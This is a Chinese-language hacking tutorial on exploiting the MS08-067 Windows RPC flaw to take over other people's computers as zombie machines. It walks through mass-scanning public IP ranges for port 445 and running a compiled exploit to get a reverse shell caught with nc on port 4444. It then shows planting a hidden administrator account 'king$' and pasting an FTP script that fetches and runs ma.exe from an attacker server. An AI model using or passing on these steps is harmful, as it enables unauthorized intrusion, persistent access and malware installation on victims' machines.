利用MS08067远程溢出漏洞抓肉鸡 - 图文 联系客服

发布时间 : 星期一 文章利用MS08067远程溢出漏洞抓肉鸡 - 图文更新完毕开始阅读55e4532d7375a417866f8fd6

利用MS08067远程溢出漏洞抓肉鸡

(一)MS08067漏洞描述 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。 MS08-067比冲击波还要厉害,通过本人的实际测试,扫描一个网段,至少数百台存在该漏洞的计算机,只要是中文版本的操作系统,Vista除外,毫无幸免! (二)MS08067远程漏洞实际利用 1.扫描445端口 关于MS08067漏洞目前还没有特别全面的分析报告,据相关资料称,只要扫描到开放139、445端口,就有可能利用该漏洞来实施远程溢出。因此首先我们使用工具软件扫描445端口,扫描的工具很多,我给大家介绍两种在DOS下面扫描的工具,一个是sfind.exe另外一个是s.exe,前者命令为“sfind –p 445 ip地址1 ip地址2”,例如扫描“sfind –p 445 218.99.0.1 218.99.0.255”;另外一个的使用的推荐命令格式为“s tcp 218.99.0.1 218.99.255.255 445 512 /save”,两个小软件扫描完成后自动保存结果,可以在肉鸡后台上进行工作,扫描完成后上去看结果即可。我采用sfind.exe对附近计算机进行445端口扫描,如图1所示,一共出来7台计算机,如果是大范围扫描,推荐使用后一种扫描软件,扫描速度快。 图1 使用sfind扫描445端口 说明:

(1)由于扫描出来的结果比较少,所以直接看就可以了。如果结果比较多,可以到sfind扫描目录下直接打开sfind.txt扫描结果。

2.使用MS08067溢出工具对结果进行溢出尝试 将获取的代码在VC中进行编译,将生成的程序重新命名为“MS0867”,然后打开DOS操作界面,并将MS08067.exe程序复制到当前操作目录(今天有人问我,为什么直接双击MS08067.exe程序,无任何反应,唉,晕!),直接输入程序名称,即可出现具体的使用方式,MS08067漏洞的使用方法为“MS08067 IP地址”,IP地址为存在该漏洞的服务器或者个人计算机的IP地址。输入存在可能存在该漏洞的IP地址218.*.*.*,结果显示为“SMB Connect OK! Maybe Patched!”如图2所示。 图2 对存在漏洞的服务器进行溢出 注意:

(1)在溢出过程还有多种提示例如“Make SMB Connection error:64” (2)出现“Maybe Patched!”提示的计算机也可能溢出成功。

(3)仅仅对台湾和简体中文版本有效,对其他版本的服务器及时存在445漏洞也无法溢出,原因是操作系统溢出点内存地址不同。

3.监听“4444”端口

在执行扫描的计算机上使用nc监听4444端口,具体命令为“nc –vv ip地址 4444”,例如“nc –vv 218.69.*.2 4444”,一次不成功的溢出显示结果为“nc -vv 218.22.27.71 4444

Warning: forward host lookup failed for 71.27.22.218.broad.static.hf.ah.cndata.com: h_errno 11002:

TRY_AGAIN71.27.22.218.broad.static.hf.ah.cndata.com [218.22.27.71] 4444 (?): TIMEDOUT sent 0, rcvd 0: NOTSOCK”,这说明218.22.27.71可能已经安装补丁、防火墙禁止对外进行连接等情况,导致溢出不成功。

说明:

在MS08067中可以定制监听端口,不过那个端口需要在源程序中定制。 4.继续进行溢出

换另外一个IP地址执行溢出,重新监听该IP地址,如图3所示,出来我们比较熟悉的反弹Shell串口,终于看到了希望,我在本地虚拟机上执行了多次测试,都未成功,但在实际环境中却测试成功。 图3 溢出成功 5.查看服务器信息 对溢出的计算机先要看看其配置等信息,例如查看操作系统版本、系统配置情况等,然后决定是否对其进行控制等后续操作,如果仅仅是普通个人计算机,而且配置极差,控制住的意义都不大。在这里使用“type c:\\boot.ini”查看操作系统类型,如图4所示,该服务器为Windows 2003企业版服务器,显然有进一步控制的必要了。 图4 查看服务器版本等信息 6.添加管理员账号 既然是服务器那就先添加一个管理员帐号吧,如图5所示使用“net user king$ nohacker /add”、“net localgroup administrators king$ /add”以及“net localgroup administrators”命令添加“king$”用户,密码为“nohacker”,并查看是否将“king$”用户加入到管理员组中。 图5 添加一个用户到管理员组中 7.上传文件 关于上传文件有多种方法,个人推荐ftp脚本法,即在某一个站点或者自己假设一个临时FTP服务器,然后使用以下样本下载ma.exe: echo open 218.*.*.* >b echo ftp>>b echo ftp>>b echo bin>>b echo get ma.exe>>b echo bye>>b ftp -s:b del b 将以上脚本在反弹的shell中直接粘贴即可从Ftp服务器上下载,然后可以在反弹的Shell中执行下载的文件。在本次渗透过程中,由于是相邻IP,因此使用了一个简便的方法,即单击“开始”-“运行”,在其中输入“\\\\IP\\admin$”或者“\\\\IP\\C$”并确定,如图6所示,如图能够连接,则会出现一个输入网络密码的提示框,在用户和密码中分别输入刚才添加的用户名。